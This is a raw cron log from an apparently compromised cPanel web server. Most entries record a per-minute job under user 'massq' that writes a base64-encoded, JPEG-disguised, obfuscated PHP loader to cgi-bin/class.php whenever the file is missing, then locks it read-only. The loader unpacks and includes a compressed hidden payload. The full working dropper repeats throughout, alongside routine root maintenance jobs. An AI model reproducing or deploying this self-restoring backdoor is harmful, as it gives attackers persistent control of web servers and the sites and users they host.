Nov 15 02:02:01 server CROND[10768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:03:01 server CROND[11060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:04:01 server CROND[11332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:05:01 server CROND[11761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:05:01 server CROND[11763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:05:01 server CROND[11764]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 02:05:01 server CROND[11762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:05:01 server CROND[11765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 02:06:01 server CROND[12095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:07:01 server CROND[12403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:08:01 server CROND[12662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:09:01 server CROND[12917]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 02:09:01 server CROND[12919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:10:01 server CROND[13187]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 02:10:01 server CROND[13188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:10:01 server CROND[13190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:10:01 server CROND[13189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:11:01 server CROND[13613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:12:01 server CROND[13882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:12:01 server CROND[13883]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 02:13:01 server CROND[14168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:14:01 server CROND[14439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:15:02 server CROND[14728]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:15:02 server CROND[14729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
